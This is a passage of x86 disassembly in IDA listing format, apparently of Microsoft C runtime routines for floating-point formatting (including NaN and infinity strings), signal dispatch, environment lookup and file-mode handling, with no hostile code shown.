cmp [ebp+var_20], ecx
jnz short loc_41CFAC
add eax, [ebp+arg_10]
loc_41CFAC: ; CODE XREF: sub_41CBC3+3E4j
cmp [ebp+var_24], ecx
jnz short loc_41CFB4
sub eax, [ebp+arg_14]
loc_41CFB4: ; CODE XREF: sub_41CBC3+3ECj
cmp eax, 1450h
jle short loc_41CFEB
mov [ebp+var_2C], 1
loc_41CFC2: ; CODE XREF: sub_41CBC3+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_41CFCE: ; CODE XREF: sub_41CBC3+454j
; sub_41CBC3+45Ej
cmp [ebp+var_2C], 0
jz short loc_41D034
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41D049
; ---------------------------------------------------------------------------
loc_41CFEB: ; CODE XREF: sub_41CBC3+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41CFFB
mov [ebp+var_30], 1
jmp short loc_41CFC2
; ---------------------------------------------------------------------------
loc_41CFFB: ; CODE XREF: sub_41CBC3+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41D7AC
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_41CFCE
; ---------------------------------------------------------------------------
loc_41D019: ; CODE XREF: sub_41CBC3+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_41CFCE
; ---------------------------------------------------------------------------
loc_41D023: ; CODE XREF: sub_41CBC3+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41D049
; ---------------------------------------------------------------------------
loc_41D034: ; CODE XREF: sub_41CBC3+40Fj
cmp [ebp+var_30], 0
jz short loc_41D049
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41D049: ; CODE XREF: sub_41CBC3+426j
; sub_41CBC3+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_41CBC3 endp
; ---------------------------------------------------------------------------
off_41D064 dd offset loc_41CC2D ; DATA XREF: sub_41CBC3+63r
dd offset loc_41CC7C ; jump table for switch statement
dd offset loc_41CCD3
dd offset loc_41CCFD
dd offset loc_41CD58
dd offset loc_41CDCF
dd offset loc_41CE05
dd offset loc_41CE4F
dd offset loc_41CE2E
dd offset loc_41CEB3
dd offset loc_41CE9D
dd offset loc_41CE69
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D094 proc near ; CODE XREF: sub_41BE6F+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41D0F6
mov byte ptr [ebx+2], 2Dh
jmp short loc_41D0FA
; ---------------------------------------------------------------------------
loc_41D0F6: ; CODE XREF: sub_41D094+5Aj
mov byte ptr [ebx+2], 20h
loc_41D0FA: ; CODE XREF: sub_41D094+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_41D120
test edi, edi
jnz short loc_41D120
cmp [ebp+arg_0], edi
jnz short loc_41D120
loc_41D10B: ; CODE XREF: sub_41D094+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41D31E
; ---------------------------------------------------------------------------
loc_41D120: ; CODE XREF: sub_41D094+6Cj
; sub_41D094+70j ...
cmp dx, si
jnz short loc_41D19F
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41D139
cmp [ebp+arg_0], 0
jz short loc_41D148
loc_41D139: ; CODE XREF: sub_41D094+9Dj
test edi, 40000000h
jnz short loc_41D148
push offset a1Snan ; "1#SNAN"
jmp short loc_41D18E
; ---------------------------------------------------------------------------
loc_41D148: ; CODE XREF: sub_41D094+A3j
; sub_41D094+ABj
test cx, cx
jz short loc_41D162
cmp edi, 0C0000000h
jnz short loc_41D162
cmp [ebp+arg_0], 0
jnz short loc_41D189
push offset a1Ind ; "1#IND"
jmp short loc_41D171
; ---------------------------------------------------------------------------
loc_41D162: ; CODE XREF: sub_41D094+B7j
; sub_41D094+BFj
cmp edi, eax
jnz short loc_41D189
cmp [ebp+arg_0], 0
jnz short loc_41D189
push offset a1Inf ; "1#INF"
loc_41D171: ; CODE XREF: sub_41D094+CCj
lea eax, [ebx+4]
push eax
call sub_413CC0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_41D180: ; CODE XREF: sub_41D094+109j
and [ebp+var_4], 0
jmp loc_41D2F7
; ---------------------------------------------------------------------------
loc_41D189: ; CODE XREF: sub_41D094+C5j
; sub_41D094+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_41D18E: ; CODE XREF: sub_41D094+B2j
lea eax, [ebx+4]
push eax
call sub_413CC0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_41D180
; ---------------------------------------------------------------------------
loc_41D19F: ; CODE XREF: sub_41D094+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41D7AC
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_41D200
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41D58C
pop ecx
pop ecx
loc_41D200: ; CODE XREF: sub_41D094+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41D21A
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_41D21D
jmp loc_41D10B
; ---------------------------------------------------------------------------
loc_41D21A: ; CODE XREF: sub_41D094+173j
mov edi, [ebp+arg_C]
loc_41D21D: ; CODE XREF: sub_41D094+17Fj
cmp edi, 15h
jle short loc_41D225
push 15h
pop edi
loc_41D225: ; CODE XREF: sub_41D094+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41D23B: ; CODE XREF: sub_41D094+1B4j
lea eax, [ebp+var_10]
push eax
call sub_41CAA1
dec [ebp+arg_14]
pop ecx
jnz short loc_41D23B
test esi, esi
jge short loc_41D265
neg esi
and esi, 0FFh
jle short loc_41D265
loc_41D258: ; CODE XREF: sub_41D094+1CFj
lea eax, [ebp+var_10]
push eax
call sub_41CACF
dec esi
pop ecx
jnz short loc_41D258
loc_41D265: ; CODE XREF: sub_41D094+1B8j
; sub_41D094+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_41D2C2
mov [ebp+arg_C], ecx
loc_41D275: ; CODE XREF: sub_41D094+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_41CAA1
lea eax, [ebp+var_10]
push eax
call sub_41CAA1
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41CA43
lea eax, [ebp+var_10]
push eax
call sub_41CAA1
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_41D275
mov eax, [ebp+arg_14]
loc_41D2C2: ; CODE XREF: sub_41D094+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41D2FF
loc_41D2CF: ; CODE XREF: sub_41D094+248j
cmp eax, ecx
jb short loc_41D2E2
cmp byte ptr [eax], 39h
jnz short loc_41D2DE
mov byte ptr [eax], 30h
dec eax
jmp short loc_41D2CF
; ---------------------------------------------------------------------------
loc_41D2DE: ; CODE XREF: sub_41D094+242j
cmp eax, ecx
jnb short loc_41D2E6
loc_41D2E2: ; CODE XREF: sub_41D094+23Dj
inc eax
inc word ptr [ebx]
loc_41D2E6: ; CODE XREF: sub_41D094+24Cj
inc byte ptr [eax]
loc_41D2E8: ; CODE XREF: sub_41D094+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41D2F7: ; CODE XREF: sub_41D094+F0j
mov eax, [ebp+var_4]
loc_41D2FA: ; CODE XREF: sub_41D094+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41D2FF: ; CODE XREF: sub_41D094+239j
; sub_41D094+275j
cmp eax, ecx
jb short loc_41D30F
cmp byte ptr [eax], 30h
jnz short loc_41D30B
dec eax
jmp short loc_41D2FF
; ---------------------------------------------------------------------------
loc_41D30B: ; CODE XREF: sub_41D094+272j
cmp eax, ecx
jnb short loc_41D2E8
loc_41D30F: ; CODE XREF: sub_41D094+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41D31E: ; CODE XREF: sub_41D094+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41D2FA
sub_41D094 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D327 proc near ; CODE XREF: sub_418C2C+3423p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_41D38E
dec eax
dec eax
jz short loc_41D37F
sub eax, 4
jz short loc_41D37F
sub eax, 3
jz short loc_41D37F
sub eax, 4
jz short loc_41D372
sub eax, 6
jz short loc_41D365
dec eax
jz short loc_41D358
or eax, 0FFFFFFFFh
jmp loc_41D450
; ---------------------------------------------------------------------------
loc_41D358: ; CODE XREF: sub_41D327+27j
mov esi, ds:dword_45EADC
mov eax, offset dword_45EADC
jmp short loc_41D399
; ---------------------------------------------------------------------------
loc_41D365: ; CODE XREF: sub_41D327+24j
mov esi, ds:dword_45EAD8
mov eax, offset dword_45EAD8
jmp short loc_41D399
; ---------------------------------------------------------------------------
loc_41D372: ; CODE XREF: sub_41D327+1Fj
mov esi, ds:dword_45EAE0
mov eax, offset dword_45EAE0
jmp short loc_41D399
; ---------------------------------------------------------------------------
loc_41D37F: ; CODE XREF: sub_41D327+10j
; sub_41D327+15j ...
push edi
call sub_41D454
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_41D399
; ---------------------------------------------------------------------------
loc_41D38E: ; CODE XREF: sub_41D327+Cj
mov esi, ds:dword_45EAD4
mov eax, offset dword_45EAD4
loc_41D399: ; CODE XREF: sub_41D327+3Cj
; sub_41D327+49j ...
cmp esi, 1
jnz short loc_41D3A5
xor eax, eax
jmp loc_41D450
; ---------------------------------------------------------------------------
loc_41D3A5: ; CODE XREF: sub_41D327+75j
test esi, esi
jnz short loc_41D3B0
push 3
call sub_4158C8
loc_41D3B0: ; CODE XREF: sub_41D327+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_41D3C2
cmp edi, 0Bh
jz short loc_41D3C2
cmp edi, 4
jnz short loc_41D3E8
loc_41D3C2: ; CODE XREF: sub_41D327+8Fj
; sub_41D327+94j
mov ebx, ds:dword_45E8B4
and ds:dword_45E8B4, 0
cmp edi, ecx
jnz short loc_41D417
mov edx, ds:dword_42D74C
mov ds:dword_42D74C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41D3EB
; ---------------------------------------------------------------------------
loc_41D3E8: ; CODE XREF: sub_41D327+99j
mov ebx, [ebp+arg_0]
loc_41D3EB: ; CODE XREF: sub_41D327+BFj
cmp edi, ecx
jnz short loc_41D417
mov eax, ds:dword_42D740
mov ecx, ds:dword_42D744
add ecx, eax
cmp eax, ecx
jge short loc_41D41E
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:42D6D0h[edx*4]
loc_41D40C: ; CODE XREF: sub_41D327+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_41D40C
jmp short loc_41D41E
; ---------------------------------------------------------------------------
loc_41D417: ; CODE XREF: sub_41D327+AAj
; sub_41D327+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_41D42C
loc_41D41E: ; CODE XREF: sub_41D327+D7j
; sub_41D327+EEj
push ds:dword_42D74C
push 8
call esi ; dword_45EADC
pop ecx
pop ecx
jmp short loc_41D43A
; ---------------------------------------------------------------------------
loc_41D42C: ; CODE XREF: sub_41D327+F5j
push edi
call esi ; dword_45EADC
cmp edi, 0Bh
pop ecx
jz short loc_41D43A
cmp edi, 4
jnz short loc_41D44D
loc_41D43A: ; CODE XREF: sub_41D327+103j
; sub_41D327+10Cj
cmp edi, 8
mov ds:dword_45E8B4, ebx
jnz short loc_41D44D
mov eax, [ebp+arg_0]
mov ds:dword_42D74C, eax
loc_41D44D: ; CODE XREF: sub_41D327+111j
; sub_41D327+11Cj
xor eax, eax
pop ebx
loc_41D450: ; CODE XREF: sub_41D327+2Cj
; sub_41D327+79j
pop edi
pop esi
pop ebp
retn
sub_41D327 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D454 proc near ; CODE XREF: sub_41D327+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_42D748
cmp ds:dword_42D6CC, edx
push esi
mov eax, offset dword_42D6C8
jz short loc_41D482
lea esi, [ecx+ecx*2]
lea esi, ds:42D6C8h[esi*4]
loc_41D476: ; CODE XREF: sub_41D454+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_41D482
cmp [eax+4], edx
jnz short loc_41D476
loc_41D482: ; CODE XREF: sub_41D454+16j
; sub_41D454+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:42D6C8h[ecx*4]
cmp eax, ecx
jnb short loc_41D496
cmp [eax+4], edx
jz short locret_41D498
loc_41D496: ; CODE XREF: sub_41D454+3Bj
xor eax, eax
locret_41D498: ; CODE XREF: sub_41D454+40j
retn
sub_41D454 endp
; =============== S U B R O U T I N E =======================================
sub_41D499 proc near ; CODE XREF: sub_41C1F2+23p
arg_0 = dword ptr 4
cmp ds:dword_45FE68, 0
push ebx
push esi
mov esi, ds:dword_45E82C
push edi
jz short loc_41D510
test esi, esi
jnz short loc_41D4CA
cmp ds:dword_45E834, esi
jz short loc_41D510
call sub_41D867
test eax, eax
jnz short loc_41D510
mov esi, ds:dword_45E82C
test esi, esi
jz short loc_41D510
loc_41D4CA: ; CODE XREF: sub_41D499+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41D510
push ebx
call sub_413DB0
pop ecx
mov edi, eax
loc_41D4DB: ; CODE XREF: sub_41D499+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41D510
push eax
call sub_413DB0
cmp eax, edi
pop ecx
jbe short loc_41D503
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41D503
push edi
push ebx
push eax
call sub_41D828
add esp, 0Ch
test eax, eax
jz short loc_41D508
loc_41D503: ; CODE XREF: sub_41D499+51j
; sub_41D499+59j
add esi, 4
jmp short loc_41D4DB
; ---------------------------------------------------------------------------
loc_41D508: ; CODE XREF: sub_41D499+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41D512
; ---------------------------------------------------------------------------
loc_41D510: ; CODE XREF: sub_41D499+10j
; sub_41D499+1Cj ...
xor eax, eax
loc_41D512: ; CODE XREF: sub_41D499+75j
pop edi
pop esi
pop ebx
retn
sub_41D499 endp
; =============== S U B R O U T I N E =======================================
sub_41D516 proc near ; CODE XREF: sub_41C8DC+8Bp
; sub_41C8DC+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, ds:dword_45FC20
jnb short loc_41D57D
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_45FB20[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41D57D
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41D556
and cl, 7Fh
jmp short loc_41D563
; ---------------------------------------------------------------------------
loc_41D556: ; CODE XREF: sub_41D516+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41D571
or cl, 80h
loc_41D563: ; CODE XREF: sub_41D516+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D571: ; CODE XREF: sub_41D516+48j
mov ds:dword_45E804, 16h
jmp short loc_41D587
; ---------------------------------------------------------------------------
loc_41D57D: ; CODE XREF: sub_41D516+Bj
; sub_41D516+27j
mov ds:dword_45E804, 9
loc_41D587: ; CODE XREF: sub_41D516+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41D516 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D58C proc near ; CODE XREF: sub_41D094+165p
; sub_41D7AC+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41D78C
cmp cx, 7FFFh
jnb loc_41D78C
cmp dx, 0BFFDh
ja loc_41D78C
cmp dx, 3FBFh
ja short loc_41D5F5
xor eax, eax
jmp short loc_41D62F
; ---------------------------------------------------------------------------
loc_41D5F5: ; CODE XREF: sub_41D58C+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41D617
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41D617
xor eax, eax
cmp [esi+4], eax
jnz short loc_41D619
cmp [esi], eax
jnz short loc_41D619
jmp loc_41D786
; ---------------------------------------------------------------------------
loc_41D617: ; CODE XREF: sub_41D58C+71j
; sub_41D58C+79j
xor eax, eax
loc_41D619: ; CODE XREF: sub_41D58C+80j
; sub_41D58C+84j
cmp cx, ax
jnz short loc_41D63C
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41D63C
cmp [ebx+4], eax
jnz short loc_41D63C
cmp [ebx], eax
jnz short loc_41D63C
loc_41D62F: ; CODE XREF: sub_41D58C+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41D7A7
; ---------------------------------------------------------------------------
loc_41D63C: ; CODE XREF: sub_41D58C+90j
; sub_41D58C+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41D64C: ; CODE XREF: sub_41D58C+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41D6A0
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41D668: ; CODE XREF: sub_41D58C+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41CA22
add esp, 0Ch
test eax, eax
jz short loc_41D693
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41D693: ; CODE XREF: sub_41D58C+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41D668
loc_41D6A0: ; CODE XREF: sub_41D58C+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41D64C
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41D6E3
loc_41D6BE: ; CODE XREF: sub_41D58C+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41D6DC
lea eax, [ebp+var_24]
push eax
call sub_41CAA1
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41D6BE
loc_41D6DC: ; CODE XREF: sub_41D58C+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41D71C
loc_41D6E3: ; CODE XREF: sub_41D58C+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41D71C
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41D6FC: ; CODE XREF: sub_41D58C+184j
test byte ptr [ebp+var_24], 1
jz short loc_41D705
inc [ebp+var_14]
loc_41D705: ; CODE XREF: sub_41D58C+174j
lea eax, [ebp+var_24]
push eax
call sub_41CACF
dec ebx
pop ecx
jnz short loc_41D6FC
cmp [ebp+var_14], 0
jz short loc_41D71C
or byte ptr [ebp+var_24], 1
loc_41D71C: ; CODE XREF: sub_41D58C+155j
; sub_41D58C+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_41D733
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41D768
loc_41D733: ; CODE XREF: sub_41D58C+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41D765
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41D760
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41D75A
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41D768
; ---------------------------------------------------------------------------
loc_41D75A: ; CODE XREF: sub_41D58C+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41D768
; ---------------------------------------------------------------------------
loc_41D760: ; CODE XREF: sub_41D58C+1B5j
inc [ebp+var_20+2]
jmp short loc_41D768
; ---------------------------------------------------------------------------
loc_41D765: ; CODE XREF: sub_41D58C+1ABj
inc [ebp+var_24+2]
loc_41D768: ; CODE XREF: sub_41D58C+1A5j
; sub_41D58C+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41D78C
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41D786: ; CODE XREF: sub_41D58C+86j
mov [esi+0Ah], ax
jmp short loc_41D7A7
; ---------------------------------------------------------------------------
loc_41D78C: ; CODE XREF: sub_41D58C+42j
; sub_41D58C+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41D7A7: ; CODE XREF: sub_41D58C+ABj
; sub_41D58C+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41D58C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D7AC proc near ; CODE XREF: sub_41CBC3+440p
; sub_41D094+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_42DBC0
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_41D825
jge short loc_41D7D4
mov eax, [ebp+arg_4]
mov ebx, offset dword_42DD20
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_41D7D4: ; CODE XREF: sub_41D7AC+16j
cmp [ebp+arg_8], ecx
jnz short loc_41D7DF
mov eax, [ebp+arg_0]
mov [eax], cx
loc_41D7DF: ; CODE XREF: sub_41D7AC+2Bj
cmp [ebp+arg_4], ecx
jz short loc_41D825
push esi
push edi
loc_41D7E6: ; CODE XREF: sub_41D7AC+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_41D81E
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_41D811
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_41D811: ; CODE XREF: sub_41D7AC+57j
push esi
push [ebp+arg_0]
call sub_41D58C
pop ecx
pop ecx
xor ecx, ecx
loc_41D81E: ; CODE XREF: sub_41D7AC+49j
cmp [ebp+arg_4], ecx
jnz short loc_41D7E6
pop edi
pop esi
loc_41D825: ; CODE XREF: sub_41D7AC+14j
; sub_41D7AC+36j
pop ebx
leave
retn
sub_41D7AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D828 proc near ; CODE XREF: sub_41D499+5Ep
; sub_41DCD9+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_41D835
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D835: ; CODE XREF: sub_41D828+7j
push ds:dword_45FC24
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push ds:dword_45FE44
call sub_41D8D5
add esp, 1Ch
test eax, eax
jnz short loc_41D862
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D862: ; CODE XREF: sub_41D828+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_41D828 endp
; =============== S U B R O U T I N E =======================================
sub_41D867 proc near ; CODE XREF: sub_41D499+1Ep
; sub_41DB52+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, ds:dword_45E834
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_41D8C8
mov ebx, ds:dword_41F128
loc_41D880: ; CODE XREF: sub_41D867+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; dword_41F128
mov ebp, eax
cmp ebp, edi
jz short loc_41D8D0
push ebp
call sub_413E5F
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_41D8D0
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; dword_41F128
test eax, eax
jz short loc_41D8D0
push edi
push [esp+18h+var_4]
call sub_41DB52
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_41D880
loc_41D8C8: ; CODE XREF: sub_41D867+11j
xor eax, eax
loc_41D8CA: ; CODE XREF: sub_41D867+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D8D0: ; CODE XREF: sub_41D867+29j
; sub_41D867+38j ...
or eax, 0FFFFFFFFh
jmp short loc_41D8CA
sub_41D867 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D8D5 proc near ; CODE XREF: sub_41D828+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
